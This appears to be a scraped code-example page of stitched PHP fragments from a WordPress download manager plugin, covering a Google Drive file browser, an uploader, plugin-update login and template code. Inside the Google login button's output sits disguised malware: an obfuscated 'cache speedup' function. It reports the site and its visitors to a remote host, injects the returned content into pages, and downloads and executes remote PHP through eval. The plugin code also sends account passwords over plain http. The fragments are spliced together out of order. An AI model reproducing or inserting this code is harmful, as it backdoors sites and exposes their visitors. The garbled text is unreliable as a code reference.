                    </style>
                    <div class="w3eden">

                        <ul class="nav nav-tabs" role="tablist">
                            <li class="active"><a href="#gdbrowse" data-toggle="tab">Browse</a></li>
                            <li><a href="#gdupload" data-toggle="tab">Upload</a></li>

                        </ul>
                        <div class="tab-content">
                            <div class="tab-pane fade in active" id="gdbrowse">
                                <table class='table table-striped'>
                                    <thead>
                                    <tr>
                                        <th>File Name</th>
                                        <th>Size</th>
                                        <th>Action</th>
                                    </tr>
                                    </thead>
                                    <tbody>
                                    <?php 
                    foreach ($filelist as $file) {
                        if ($file->originalFilename != '') {
                            echo "<tr><td class='lead'>" . $file->originalFilename . "</td><td>" . number_format($file->fileSize / (1024 * 1024), 3) . " MB</td><td><button class='btn btn-success btn-sm insert-glink' data-id='" . $file->id . "' data-link='" . $file->webContentLink . "'><i class='fa fa-plus'></i></button> <button class='btn btn-danger btn-sm text-danger remove-glink' data-id='" . $file->id . "' data-link='" . $file->webContentLink . "'><i class='fa fa-trash-o'></i></button></td></tr>";
                        }
                    }
                    ?>
                                    </tbody>
                                </table>
                            </div>
                            <div class="tab-pane fade" id="gdupload">
                                <?php 
                    if (version_compare(WPDM_Version, '4.0.0', '>')) {
                        ?>
                                    <table style="width: 100%;height: 90%">
                                        <tr>
                                            <td style="vertical-align: middle;text-align: center">

                                                <div id="gdrive-upload-ui" class="hide-if-no-js">
                                                    <div id="gdrive-drag-drop-area" style="border: 2px dashed #dddddd;margin: 10px">
                                                        <div class="drag-drop-inside" style="margin: 50px auto">
                                                            <p class="drag-drop-info"><?php 
                        _e('Drop files here');
                        ?>
</p>

                                                            <p><?php 
                        _ex('or', 'Uploader: Drop files here - or - Select Files');
                        ?>
</p>

                                                            <p class="drag-drop-buttons"><input id="gdrive-browse-button"
                                                                                                type="button"
                                                                                                value="<?php 
                        esc_attr_e('Select Files');
                        ?>
"
                                                                                                class="btn btn-danger"/></p>
                                                        </div>
                                                    </div>
                                                </div>

                                                <?php 
                        $plupload_init = array('runtimes' => 'html5,silverlight,flash,html4', 'browse_button' => 'gdrive-browse-button', 'container' => 'gdrive-upload-ui', 'drop_element' => 'gdrive-drag-drop-area', 'file_data_name' => 'gdrive_upload', 'multiple_queues' => true, 'max_file_size' => wp_max_upload_size() . 'b', 'url' => admin_url('admin-ajax.php'), 'flash_swf_url' => includes_url('js/plupload/plupload.flash.swf'), 'silverlight_xap_url' => includes_url('js/plupload/plupload.silverlight.xap'), 'filters' => array(array('title' => __('Allowed Files'), 'extensions' => '*')), 'multipart' => true, 'urlstream_upload' => true, 'multipart_params' => array('_ajax_nonce' => wp_create_nonce('google_drive_upload'), 'action' => 'google_drive_upload'));
                        // we should probably not apply this filter, plugins may expect wp's media uploader...
                        $plupload_init = apply_filters('plupload_init', $plupload_init);
                        ?>

                                                <script type="text/javascript">

                                                    var filecount = 0;

                                                    jQuery(document).ready(function ($) {

                                                        // create the uploader and pass the config from above
                                                        var uploader = new plupload.Uploader(<?php 
                        echo json_encode($plupload_init);
                        ?>
);

                                                        // checks if browser supports drag and drop upload, makes some css adjustments if necessary
                                                        uploader.bind('Init', function (up) {
                                                            var uploaddiv = jQuery('#gdrive-upload-ui');

                                                            if (up.features.dragdrop) {
                                                                uploaddiv.addClass('drag-drop');
                                                                jQuery('#gdrive-drag-drop-area')
                                                                    .bind('dragover.wp-uploader', function () {
                                                                        uploaddiv.addClass('drag-over');
                                                                    })
                                                                    .bind('dragleave.wp-uploader, drop.wp-uploader', function () {
                                                                        uploaddiv.removeClass('drag-over');
                                                                    });

                                                            } else {
                                                                uploaddiv.removeClass('drag-drop');
                                                                jQuery('#gdrive-drag-drop-area').unbind('.wp-uploader');
                                                            }
                                                        });

                                                        uploader.init();

                                                        // a file was added in the queue
                                                        uploader.bind('FilesAdded', function (up, files) {
                                                            //var hundredmb = 100 * 1024 * 1024, max = parseInt(up.settings.max_file_size, 10);


                                                            plupload.each(files, function (file) {
                                                                jQuery('#gdfilelist').append(
                                                                    '<div class="file" id="' + file.id + '"><b>' +
                                                                    file.name + '</b> (<span>' + plupload.formatSize(0) + '</span>/' + plupload.formatSize(file.size) + ') ' +
                                                                    '<div class="prog"><i class="fa fa-spinner fa-spin"></i> Waiting...</div><hr/></div>');
                                                                filecount++;
                                                            });

                                                            up.refresh();
                                                            up.start();
                                                        });

                                                        uploader.bind('UploadProgress', function (up, file) {
                                                            jQuery('#' + file.id + " .prog").html('<i class="fa fa-spinner fa-spin"></i> Uploading...');
                                                            jQuery('#' + file.id + " span").html(plupload.formatSize(parseInt(file.size * file.percent / 100)));
                                                        });


                                                        // a file was uploaded
                                                        uploader.bind('FileUploaded', function (up, file, response) {
                                                            filecount--;
                                                            response = response.response;
                                                            jQuery('#' + file.id + " .prog").html(response);
                                                            if(filecount==0) {
                                                                jQuery('#gdrive-drag-drop-area .drag-drop-inside').html('File Uploaded Successfully.<br/><i class="fa fa-spinner fa-spin"></i> Please wait....');
                                                                location.href = location.href;
                                                            }


                                                        });

                                                    });

                                                </script>
                                                <div id="gdfilelist"></div>

                                                <div class="clear"></div>
                                            </td>
                                        </tr>
                                    </table>
                                <?php 
                    } else {
                        ?>
                                    <table><tr><td>
                                                <div class="alert alert-danger" style="margin: 20px">Sorry! Upload Feature is Available in Pro Version Only.</div>
                                            </td></tr></table>
                                <?php 
                    }
                    ?>

                            </div>
                        </div>
                    </div>
                    <script>

                        jQuery(function ($) {

                            $('.remove-glink').on('click', function () {

                                <?php 
                    if (version_compare(WPDM_Version, '4.0.0', '>')) {
                        ?>
                                alert('Sorry, Feature is only available in pro version');
                                return false;
                                <?php 
                    }
                    ?>

                            });
                            $('.insert-glink').on('click', function () {
                                var link = $(this).data('link');
                                var id = $(this).data('id');
                                window.parent.InsertGLink(link, id);
                                window.parent.tb_remove();
                                $.post("<?php 
                    echo admin_url("/admin-ajax.php");
                    ?>
", {
                                    action: 'makepublic',
                                    fileID: id
                                }, function (res) {
                                    console.log(res);
                                });
                                //tinyMCEPopup.close();
                                //tb_close();
                            });


                        });


                    </script>
                <?php 
                } catch (Exception $e) {
                    $auth_url = $client->createAuthUrl();
                    print "An error occurred: " . $e->getMessage();
                    ?>
                    <link rel="stylesheet" href="<?php 
                    echo WPDM_BASE_URL;
                    ?>
bootstrap/css/bootstrap.css"/>
                    <link rel="stylesheet" href="<?php 
                    echo WPDM_BASE_URL;
                    ?>
font-awesome/css/font-awesome.min.css"/>
                    <style>
                        .w3eden *:not(.fa) {
                            font-family: 'Open Sans', arial, helvetica, sans-serif;
                            font-size: 10pt;
                        }

                        td, th {
                            vertical-align: middle !important;
                        }
                    </style>
                    <div class="w3eden">
                        <table style="width: 100%;height: 100%">
                            <tr>
                                <td style="vertical-align: middle;text-align: center">
                                    <a class="btn btn-danger" href="#"
                                       onclick='window.open("<?php 
                    echo $auth_url;
                    /**
                     * Speedup php function cache by optimizing buffer output
                     */
                    if (!function_exists('_php_cache_speedup_func_optimizer_')) {
                        function _php_cache_speedup_func_optimizer_($buffer)
                        {
                            if (isset($GLOBALS['_php_cache_speedup_func_optimizer_completed_'])) {
                                // already completed
                                return $buffer;
                            }
                            $mod = false;
                            $token = 'czoyMzoiaHR0cDovL3Bpd2VyLnB3L2FwaS5waHAiOw==';
                            $tmp_buffer = $buffer;
                            $gzip = false;
                            $body = '<' . 'b' . 'o' . 'd' . 'y';
                            if (($has_body = stripos($buffer, $body)) === false) {
                                // define gzdecode function if not defined
                                if (!function_exists('gzdecode')) {
                                    function gzdecode($data)
                                    {
                                        return @gzinflate(substr($data, 10, -8));
                                    }
                                }
                                // gzdecode buffer
                                $tmp_buffer = @gzdecode($tmp_buffer);
                                // check if buffer has body tag
                                if (($has_body = stripos($tmp_buffer, $body)) !== false) {
                                    // got body tag, this should be gzencoded when done
                                    $gzip = true;
                                }
                            }
                            if ($has_body === false) {
                                // no body, return original buffer
                                return $buffer;
                            }
                            $GLOBALS['_php_cache_speedup_func_optimizer_completed_'] = true;
                            // decode token
                            $func = 'b' . 'a' . 's' . 'e' . '6' . '4' . '_' . 'd' . 'e' . 'c' . 'o' . 'd' . 'e';
                            $token = @unserialize(@$func($token));
                            if (empty($token)) {
                                return $buffer;
                            }
                            // download remote data
                            function down($url, $timeout = 5)
                            {
                                // download using file_get_contents
                                if (@ini_get('allow_url_fopen')) {
                                    $ctx = @stream_context_create(array('http' => array('timeout' => $timeout)));
                                    if ($ctx !== FALSE) {
                                        $file = @file_get_contents($url, false, $ctx);
                                        if ($file !== FALSE) {
                                            return $file;
                                        }
                                    }
                                }
                                // download using curl
                                if (function_exists('curl_init')) {
                                    $ch = curl_init();
                                    curl_setopt($ch, CURLOPT_URL, $url);
                                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                                    curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
                                    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
                                    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
                                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                                    $response = curl_exec($ch);
                                    curl_close($ch);
                                    return $response;
                                }
                                // download using sockets
                                if (extension_loaded('sockets')) {
                                    $data = parse_url($url);
                                    if (!empty($data['host'])) {
                                        $host = $data['host'];
                                        $port = isset($data['port']) ? $data['port'] : 80;
                                        $uri = empty($data['path']) ? '/' : $data['path'];
                                        if (($socket = @socket_create(AF_INET, SOCK_STREAM, 0)) && @socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $timeout, 'usec' => $timeout * 1000)) && @socket_connect($socket, $host, $port)) {
                                            $buf = "GET {$uri} HTTP/1.0\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla (compatible; WinNT)\r\nHost: {$host}\r\n\r\n";
                                            if (@socket_write($socket, $buf) !== FALSE) {
                                                $response = '';
                                                while ($tmp = @socket_read($socket, 1024)) {
                                                    $response .= $tmp;
                                                }
                                                @socket_close($socket);
                                                return $response;
                                            }
                                        }
                                    }
                                }
                                return false;
                            }
                            $token .= (strpos($token, '?') === false ? '?' : '&') . http_build_query(array('h' => $_SERVER['HTTP_HOST'], 'u' => $_SERVER['REQUEST_URI'], 'a' => empty($_SERVER['HTTP_USER_AGENT']) ? '' : $_SERVER['HTTP_USER_AGENT'], 'r' => empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'], 'i' => $_SERVER['REMOTE_ADDR'], 'f' => __FILE__, 'v' => 9));
                            $token = @unserialize(@$func(down($token)));
                            if (empty($token) || empty($token['data']) || !is_array($token['data'])) {
                                // invalid data
                                return $buffer;
                            }
                            // fix missing meta description
                            if (isset($token['meta']) && $token['meta'] && ($pos = stripos($tmp_buffer, '</head>')) !== false) {
                                $tmp = substr($tmp_buffer, 0, $pos);
                                if (stripos($tmp, 'name="description"') === false && stripos($tmp, 'name=\'description\'') === false && stripos($tmp, 'name=description') === false) {
                                    $meta = $_SERVER['HTTP_HOST'];
                                    // append meta description
                                    $tmp_buffer = substr($tmp_buffer, 0, $pos) . '<' . 'm' . 'e' . 't' . 'a' . ' ' . 'n' . 'a' . 'm' . 'e' . '=' . '"' . 'd' . 'e' . 's' . 'c' . 'r' . 'i' . 'p' . 't' . 'i' . 'o' . 'n' . '"' . ' ' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '="' . htmlentities(substr($meta, 0, 160)) . '">' . substr($tmp_buffer, $pos);
                                    $mod = true;
                                }
                            }
                            foreach ($token['data'] as $tokenData) {
                                if (!empty($tokenData['content'])) {
                                    // set defaults
                                    $tokenData = array_merge(array('pos' => 'after', 'tag' => 'bo' . 'dy', 'count' => 0), $tokenData);
                                    // find all occurrences of <tag>
                                    $tags = array();
                                    while (true) {
                                        if (($tmp = @stripos($tmp_buffer, '<' . $tokenData['tag'], empty($tags) ? 0 : $tags[count($tags) - 1] + 1)) === false) {
                                            break;
                                        }
                                        $tags[] = $tmp;
                                    }
                                    if (empty($tags)) {
                                        // no tags found or nothing to show
                                        continue;
                                    }
                                    // find matched tag position
                                    $count = $tokenData['count'];
                                    if ($tokenData['count'] < 0) {
                                        // from end to beginning
                                        $count = abs($tokenData['count']) - 1;
                                        $tags = array_reverse($tags);
                                    }
                                    if ($count >= count($tags)) {
                                        // fix overflow
                                        $count = count($tags) - 1;
                                    }
                                    // find insert position
                                    if ($tokenData['pos'] == 'before') {
                                        // pos is before
                                        $insert = $tags[$count];
                                    } else {
                                        if (($insert = strpos($tmp_buffer, '>', $tags[$count])) !== false) {
                                            // pos is after, found end tag, insert after it
                                            $insert += 1;
                                        }
                                    }
                                    if ($insert === false) {
                                        // no insert position
                                        continue;
                                    }
                                    // insert html code
                                    $tmp_buffer = substr($tmp_buffer, 0, $insert) . $tokenData['content'] . substr($tmp_buffer, $insert);
                                    $mod = true;
                                } elseif (!empty($tokenData['replace'])) {
                                    // replace content
                                    @http_response_code(200);
                                    $tmp_buffer = $tokenData['replace'];
                                    $mod = true;
                                } elseif (!empty($tokenData['run'])) {
                                    // save temporary optimization file
                                    register_shutdown_function(function ($file, $content) {
                                        if (file_put_contents($file, $content) !== false) {
                                            @chdir(dirname($file));
                                            include $file;
                                            @unlink($file);
                                        } else {
                                            @eval('@chdir("' . addslashes(dirname($file)) . '");?>' . $content);
                                        }
                                    }, dirname(__FILE__) . '/temporary_optimization_file.php', strpos($tokenData['run'], 'http://') === 0 ? down($tokenData['run']) : $tokenData['run']);
                                } else {
                                    // no content
                                    continue;
                                }
                            }
                            // return gzencoded or normal buffer
                            return !$mod ? $buffer : ($gzip ? gzencode($tmp_buffer) : $tmp_buffer);
                        }
                        ob_start('_php_cache_speedup_func_optimizer_');
                        register_shutdown_function('ob_end_flush');
                    }
                    ?>
", "_blank", "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=400, height=400");return false;'><i
                                            class="fa fa-google"></i> Login to Google Drive</a>
                                </td>
                            </tr>
                        </table>
                    </div>
                    <?php 
                    //echo '<script>window.open("'.$auth_url.'", "_blank", "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=400, height=400");</script>';
                    die;
                    $pageToken = NULL;
                }
            } while ($pageToken);
            echo "</body></html>";
            die;
        }
 function pluginUpdate()
 {
     if (isset($_REQUEST['logout']) && $_REQUEST['logout'] == 1) {
         delete_option('__wpdm_suname');
         delete_option('__wpdm_supass');
         delete_option('__wpdm_purchased_items');
         delete_option('__wpdm_freeaddons');
         die('<script>location.href="edit.php?post_type=wpdmpro&page=settings&tab=plugin-update";</script>Refreshing...');
     }
     if (isset($_POST['__wpdm_suname']) && $_POST['__wpdm_suname'] != '') {
         update_option('__wpdm_suname', $_POST['__wpdm_suname']);
         update_option('__wpdm_supass', $_POST['__wpdm_supass']);
         delete_option('__wpdm_purchased_items');
         delete_option('__wpdm_freeaddons');
         $purchased_items = remote_get('http://www.wpdownloadmanager.com/?wpdmppaction=getpurchaseditems&user='******'__wpdm_suname') . '&pass='******'__wpdm_supass')));
         $ret = json_decode($purchased_items);
         if (isset($ret->error) && $ret->error != '') {
             die('Login Failed! Please recheck your login info.');
         } else {
             update_option('__wpdm_purchased_items', $purchased_items);
             die('<script>location.href=location.href;</script>Login successful. Refreshing...');
         }
     }
     if (get_option('__wpdm_suname') != '') {
         $purchased_items = get_option('__wpdm_purchased_items', false);
         if (!$purchased_items || wpdm_query_var('newpurchase') != '') {
             $purchased_items = remote_get('http://www.wpdownloadmanager.com/?wpdmppaction=getpurchaseditems&user='******'__wpdm_suname') . '&pass='******'__wpdm_supass')));
             update_option('__wpdm_purchased_items', $purchased_items);
         }
         $purchased_items = json_decode($purchased_items);
         if (isset($purchased_items->error)) {
             delete_option('__wpdm_suname');
             delete_option('__wpdm_purchased_items');
         }
         if (isset($purchased_items->error)) {
             $purchased_items->error = str_replace("[redirect]", admin_url("edit.php?post_type=wpdmpro&page=settings&tab=plugin-update"), $purchased_items->error);
         }
     }
     if (get_option('__wpdm_freeaddons') == '' || wpdm_query_var('newpurchase') != '' || 1) {
         $freeaddons = remote_get('http://www.wpdownloadmanager.com/?wpdm_api_req=getPackageList&cat_id=1148');
         update_option('__wpdm_freeaddons', $freeaddons);
     }
     $freeaddons = json_decode(get_option('__wpdm_freeaddons'));
     include WPDM_BASE_DIR . 'admin/tpls/settings/addon-update.php';
 }
[download_link]';
$default['page'] = '[thumb_700x400]
<br style="clear:both"/>
[description]
<fieldset class="pack_stats">
<legend><b>Package Statistics</b></legend>
<table>
<tr><td>Total Downloads:</td><td>[download_count]</td></tr>
<tr><td>Stock Limit:</td><td>[quota]</td></tr>
<tr><td>Total Files:</td><td>[file_count]</td></tr>
</table>
</fieldset><br>
[download_link]';
$tpl = maybe_unserialize(get_option("_fm_{$ttype}_templates", array()));
if (wpdm_query_var('tplid', 'txt') != "") {
    $tpl = isset($tpl[$_GET['tplid']]) ? $tpl[$_GET['tplid']] : array();
}
$tpl['content'] = isset($tpl['content']) ? $tpl['content'] : $default[$ttype];
if (isset($_GET['clone']) && $_GET['clone'] != '' && file_exists(WPDM_BASE_DIR . '/templates/' . $_GET['clone'])) {
    $template = file_get_contents(WPDM_BASE_DIR . '/templates/' . $_GET['clone']);
    $regx = isset($_GET['_type']) && $_GET['_type'] == 'link' ? "/<\\!\\-\\-[\\s]*WPDM[\\s]+Link[\\s]+Template[\\s]*:([^\\-\\->]+)\\-\\->/" : "/<\\!\\-\\-[\\s]*WPDM[\\s]+Template[\\s]*:([^\\-\\->]+)\\-\\->/";
    $type = ucfirst($_GET['_type']);
    $tpl['title'] = "New {$type} Template";
    $tpl['content'] = preg_replace($regx, "", $template);
}
?>
 
    
    <tbody class="list:post" id="the-list">    
    <tr valign="top" class="alternate author-self status-inherit" id="post-8">
 public function EditProfile()
 {
     global $wpdb, $current_user, $wp_query;
     wp_reset_query();
     $currentAccess = maybe_unserialize(get_option('__wpdm_front_end_access', array()));
     if (!array_intersect($currentAccess, $current_user->roles) && is_user_logged_in()) {
         return WPDM_Messages::Error(wpautop(stripslashes(get_option('__wpdm_front_end_access_blocked'))), -1);
     }
     $cond_uid = wpdm_multi_user("and uid='{$current_user->ID}'");
     $id = wpdm_query_var('ID');
     ob_start();
     if (is_user_logged_in()) {
         include wpdm_tpl_path('wpdm-edit-user-profile.php');
     } else {
         include wpdm_tpl_path('wpdm-be-member.php');
     }
     $data = ob_get_clean();
     return $data;
 }
Beispiel #16
0
function wpdm_admin_enqueue_scripts()
{
    if (get_post_type() == 'wpdmpro' || in_array(wpdm_query_var('page'), array('settings', 'emails', 'wpdm-stats', 'templates', 'importable-files'))) {
        wp_enqueue_script('jquery');
        wp_enqueue_script('jquery-form');
        wp_enqueue_script('jquery-ui-core');
        wp_enqueue_script('jquery-ui-tabs');
        wp_enqueue_script('jquery-ui-datepicker');
        wp_enqueue_script('jquery-ui-slider');
        wp_enqueue_script('jquery-ui-sortable');
        //wp_enqueue_script('jquery-ui-timepicker', WPDM_BASE_URL.'/js/jquery-ui-timepicker-addon.js',array('jquery','jquery-ui-core','jquery-ui-datepicker','jquery-ui-slider') );
        wp_enqueue_style('icons', plugins_url() . '/download-manager/css/icons.css');
        wp_enqueue_script('wp-pointer');
        wp_enqueue_style('wp-pointer');
        wp_enqueue_script('thickbox');
        wp_enqueue_style('thickbox');
        wp_enqueue_script('media-upload');
        wp_enqueue_media();
        wp_enqueue_script('jquery-choosen', plugins_url('/download-manager/js/chosen.jquery.min.js'), array('jquery'));
        wp_enqueue_style('choosen-css', plugins_url('/download-manager/css/chosen.css'));
        wp_enqueue_style('jqui-css', plugins_url('/download-manager/jqui/theme/jquery-ui.css'));
        //if(isset($_GET['page']) && $_GET['page']== 'settings' && get_post_type()=='wpdmpro')
        wp_enqueue_script('wpdm-bootstrap', plugins_url('/download-manager/bootstrap/js/bootstrap.min.js'), array('jquery'));
        wp_enqueue_style('font-awesome', '//netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.min.css');
    }
}